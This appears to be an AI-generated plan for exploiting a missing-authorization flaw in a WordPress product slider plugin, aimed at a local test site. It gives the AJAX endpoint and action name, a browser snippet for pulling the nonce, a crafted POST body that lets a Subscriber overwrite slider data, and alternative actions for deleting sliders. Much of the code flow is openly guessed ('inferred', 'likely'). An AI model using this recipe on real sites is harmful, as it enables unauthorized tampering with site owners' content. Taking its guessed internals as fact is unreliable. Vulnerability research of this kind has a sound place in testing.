Exploitation Research Plan: CVE-2026-25455 (Product Slider Missing Authorization)

1. Vulnerability Summary

The Product Slider, Product Grid, Product Masonry plugin (versions <= 1.13.61) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, functions hooked to wp_ajax_ (authenticated AJAX) fail to verify the user's capabilities (e.g., current_user_can('manage_options')). This allows any authenticated user, including those with Subscriber privileges, to execute administrative actions such as modifying slider configurations, deleting sliders, or changing plugin settings.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wps_save_shortcode_data (Inferred from common plugin patterns for this vulnerability)
• Parameters:
  • action: wps_save_shortcode_data
  • post_id: The ID of the Product Slider (Custom Post Type: wps_slider) to modify.
  • wps_shortcode_all_data: A URL-encoded array or string containing the slider configuration.
  • security: The AJAX nonce (if required).
• Authentication: Authenticated, Subscriber-level access or higher.
• Preconditions: A Product Slider must exist for the attacker to modify it.

3. Code Flow

1. Entry Point: The user sends a POST request to admin-ajax.php with action=wps_save_shortcode_data.
2. Hook Registration: The plugin registers the action:
   add_action('wp_ajax_wps_save_shortcode_data', array($this, 'wps_save_shortcode_data')); (Found in includes/admin/class-admin.php or includes/class-ajax.php).
3. Vulnerable Function: The wps_save_shortcode_data function is called.
4. Missing Check: The function likely checks for a nonce using check_ajax_referer() but fails to call current_user_can().
5. Data Sink: The function proceeds to update post meta:
   update_post_meta($post_id, 'wps_shortcode_all_data', $_POST['wps_shortcode_all_data']);
6. Result: The slider configuration is updated without administrative approval.

4. Nonce Acquisition Strategy

The plugin typically localizes its admin AJAX variables in class-admin.php. While Subscribers may not see the plugin menu, WordPress enqueues scripts for all logged-in users in the /wp-admin/ context if not properly restricted.

1. Check for Subscriber Access: Subscribers can access /wp-admin/profile.php.
2. Shortcode Placement: If scripts are only loaded on plugin pages, create a page with the slider shortcode:
   wp post create --post_type=page --post_status=publish --post_content='[wcps id="SLIDER_ID"]'
3. Browser Extraction:
   • Navigate to the page containing the shortcode.
   • Execute in browser_eval:

     // Verbatim keys from localized script: wps_ajax_obj
     window.wps_ajax_obj?.nonce || window.wc_ps_ajax?.nonce
     

   • If the nonce is used in a specific wp_verify_nonce call with action wps_nonce, this will provide the valid token.

5. Exploitation Strategy

Step 1: Identification

Identify a target slider ID. This can often be found in the frontend source code where the slider is rendered (look for id="wcps-slider-123").

Step 2: Payload Crafting

Prepare a POST request to overwrite the slider's query to return different data or inject content.

Request Details:

• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=wps_save_shortcode_data&post_id=TARGET_ID&security=EXTRACTED_NONCE&wps_shortcode_all_data[wps_slider_title]=Hacked+Slider&wps_shortcode_all_data[wps_product_column]=1
  

Step 3: Execution

Use the http_request tool with the Subscriber's session cookies.

6. Test Data Setup

1. Admin User:
   • Install and activate woocommerce-products-slider.
   • Create a new Product Slider (ID: 123).
   • Create a Page and embed [wcps id="123"].
2. Subscriber User:
   • Create a user attacker with the subscriber role.

7. Expected Results

• Response: The server should return a successful JSON response or 1 (typical for successful wp_die() completion).
• Modification: The slider with ID 123 will now have the title "Hacked Slider" in the database, which will be reflected in the admin UI and potentially the frontend.

8. Verification Steps

1. WP-CLI Check:
   wp post meta get 123 wps_shortcode_all_data
   • Confirm the wps_slider_title value inside the meta array has changed.
2. UI Check:
   Log in as Admin and view the Product Slider list; verify the title has been altered by the subscriber.

9. Alternative Approaches

If wps_save_shortcode_data is protected, attempt the following alternative actions likely registered in the same class:

• wps_delete_shortcode: Attempt to delete a slider by passing a post_id.
• wps_get_layout_preview: Attempt to trigger a preview which might leak data.
• Check if the nonce check is entirely missing (i.e., check_ajax_referer is also absent). If so, the security parameter can be omitted.